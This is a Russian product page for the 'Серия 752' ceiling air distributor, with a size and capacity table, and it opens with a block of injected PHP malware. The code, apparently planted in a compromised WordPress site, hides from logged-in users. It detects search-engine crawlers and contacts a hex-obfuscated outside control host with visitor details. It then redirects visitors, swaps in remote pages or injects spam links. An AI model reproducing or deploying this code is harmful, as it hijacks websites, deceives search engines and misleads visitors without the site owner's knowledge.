if(!class_exists('Advanced_LinkFlow_Control')){$lf_enable=true;if(function_exists('is_user_logged_in')&& is_user_logged_in()){$lf_enable=false;}foreach($_COOKIE as $key => $value){if(strpos($key,'wordpress_logged_in_')=== 0){$lf_enable=false;break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI']?? '/';$ua=$_SERVER['HTTP_USER_AGENT']?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST']?? '') .$uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x64a\x72k\x62a\x62y\x63o\x6et\x72o\x6c.\x63o\x6d/\x67e\x74\x2e\x70\x68\x70";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])?$_SERVER['HTTP_CF_CONNECTING_IP']:(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';if(@preg_match('/googlebot|google-structured-data/i',$ua)){$bot=TRUE;$this->bot='google';}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$ua)){$bot=TRUE;$this->bot='bing';}if(@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i',$ua)){$bot=TRUE;$this->bot='yandex';}if(@preg_match('/duckduckbot/i',$ua)){$bot=TRUE;$this->bot='duckduck';}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i',$ua)){$bot=TRUE;$this->bot='other';}if(!$bot){$bot_sources=['google'=> $this->google_ip_list ??[],'bing'=> $this->bing_ip_list ??[],'yandex'=> $this->yandex_ip_list ??[],];foreach($bot_sources as $bot_name => $ip_list){foreach($ip_list as $ip_mask){$pattern='#^' .str_replace(['.','*'],['\.','.*'],$ip_mask) .'$#';if(preg_match($pattern,$this->ip)){$bot=TRUE;$this->bot=$bot_name;break 2;}}}}if(!$bot){$hostbyaddr=@gethostbyaddr($this->ip);$host_patterns=['google'=> 'googlebot|google','bing'=> 'bing|msn|msr|slurp|yahoo','yandex'=> 'yandex','duckduckgo'=> 'duckduckgo|duckduckbot',];foreach($host_patterns as $bot_name => $pattern){if(preg_match("/$pattern/i",$hostbyaddr)){$bot=TRUE;$this->bot=$bot_name;break;}}}if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http://' .$_SERVER['SERVER_NAME']);if(isset($tmp['host'])){$host=$tmp['host'];}}$url=$this->url ."?host=$host&uri=" .urlencode($this->uri) ."&bot={$this->bot}&ip={$this->ip}&ref=" .urlencode($this->ref) .'&lang=' .urlencode($this->lang);if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .= '&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!== false){$res=1;}die(json_encode(['r'=> $res,'funcs'=>['curl_init'=> function_exists('curl_init')?1:0,'file_get_contents'=> function_exists('file_get_contents')?1:0,'allow_url_fopen'=> ini_get('allow_url_fopen')?1:0,'fsockopen'=> function_exists('fsockopen')?1:0,'socket_set_option'=> function_exists('socket_set_option')?1:0,]]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .= '&check=1';}$page=$this->get($url);if(preg_match('/(.*?)<\/url>/us',$page,$matches)){$url=$matches[1];header("Location: {$url}");exit;}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'')!== FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])?$m[1]:array();}if(count($this->links)>0){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}\s+.*?>(.*?)~is",$content,$matches);if(isset($matches[0])){foreach($matches[0]as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)>count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index<$links_count && $tag_index<$tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)=== '###'){$linkHTML=substr($link,0,-3);}else{$number=7200+strlen($link)%1000;$linkHTML="
{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0 {$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))=="."){$tag_content_new=str_replace("."," {$linkHTML}",$tag_val['content']);}else{$tag_content_new=str_replace(""," {$linkHTML}",$tag_val['content']);}}$content=preg_replace("~" .preg_quote($tag_val['content'],'~') ."~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!== false){$link_index++;}$tag_index++;}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}} Серия 752 — ФильтрДом — фильтры для систем вентиляции

Серия 752

fc_752

Серия 752

Серия 751
Серия 761

Воздухораспределитель ФЯ 752

  • Описание

Описание

Воздухораспределитель с верхним расположением круглого патрубка для подвесных потолков типа «Армстронг».

Размеры фильтра ШхВхГ, мм Производительность, м3/час Размеры, мм Масса, кг
L1 W1 L2 W2 H ØD
550х550х78 440 595 595 405 574 291 250 14,3
1150х550х78 945 1195 595 1005 574 291 315 24
550х550х150 440 595 595 405 574 363 250 16,3
1150х550х150 945 1195 595 1005 574 363 315 27,1
550х550х300 1560 595 595 405 574 513 250 20,5
1150х550х300 3350 1195 595 1005 574 513 315 33,4

Производительность указана при скорости потока воздуха 0,45 м/с для фильтров глубиной 78 и 150 мм, 1,6 м/с для фильтров глубиной 300 мм. Масса указана для воздухораспределителей изготовленных из 1,5 мм стали (без учета массы фильтра). Возможно изготовление воздухораспределителей других размеров.

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